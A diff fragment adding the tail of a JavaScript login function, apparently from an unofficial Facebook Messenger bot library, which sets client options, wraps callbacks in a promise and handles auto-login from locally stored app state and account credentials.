1273
+ setOptions(globalOptions, {
1274
+ logLevel: "silent",
1275
+ forceLogin: true,
1276
+ userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36"
1277
+ });
1278
+ }
1279
+ else if (loginData.appState) {
1280
+ setOptions(globalOptions, options);
1281
+ }
1282
+
1283
+ var prCallback = null;
1284
+ if (utils.getType(callback) !== "Function" && utils.getType(callback) !== "AsyncFunction") {
1285
+ var rejectFunc = null;
1286
+ var resolveFunc = null;
1287
+ var returnPromise = new Promise(function(resolve, reject) {
1288
+ resolveFunc = resolve;
1289
+ rejectFunc = reject;
1290
+ });
1291
+ prCallback = function(/** @type {any} */error, /** @type {any} */api) {
1292
+ if (error) return rejectFunc(error);
1293
+ return resolveFunc(api);
1294
+ };
1295
+ callback = prCallback;
1296
+ }
1297
+
1298
+ (async function() {
1299
+ var Premium = require("./Extra/Src/Premium");
1300
+ globalThis.Fca.Data.PremText = await Premium(globalThis.Fca.Require.Security.create().uuid) || "You Are Using Version: Free !";
1301
+ if (!loginData.email && !loginData.password) {
1302
+ switch (globalThis.Fca.Require.FastConfig.AutoLogin) {
1303
+ case true: {
1304
+ if (globalThis.Fca.Require.FastConfig.ResetDataLogin) return setUserNameAndPassWord();
1305
+ else {
1306
+ try {
1307
+ if (await Database.get("TempState")) {
1308
+ try {
1309
+ loginData.appState = JSON.parse(await Database.get("TempState"));
1310
+ }
1311
+ catch (_) {
1312
+ loginData.appState = await Database.get("TempState");
1313
+ }
1314
+ await Database.delete("TempState");
1315
+ }
1316
+ }
1317
+ catch (e) {
1318
+ console.log(e)
1319
+ await Database.delete("TempState");
1320
+ logger.Warning(Language.ErrDataBase);
1321
+ logger.Error();
1322
+ process.exit(0);
1323
+ }
1324
+ try {
1325
+ if (await Database.has('Account') && await Database.has('Password')) return loginHelper(loginData.appState, loginData.email, loginData.password, globalOptions, callback, prCallback);
1326
+ else return setUserNameAndPassWord();
1327
+ }
1328
+ catch (e) {
1329
+ logger.Warning(Language.ErrDataBase);
1330
+ logger.Error();
1331
+ process.exit(0);
1332
+ }
1333
+ }
1334
+ }
1335
+ case false: {
1336
+ loginHelper(loginData.appState, loginData.email, loginData.password, globalOptions, callback, prCallback);
1337
+ }
1338
+ }
1339
+ }
1340
+ else loginHelper(loginData.appState, loginData.email, loginData.password, globalOptions, callback, prCallback);
1341
+ })()
1342
+ return returnPromise;
1343
+ }
1344
+
1345
+ module.exports = login;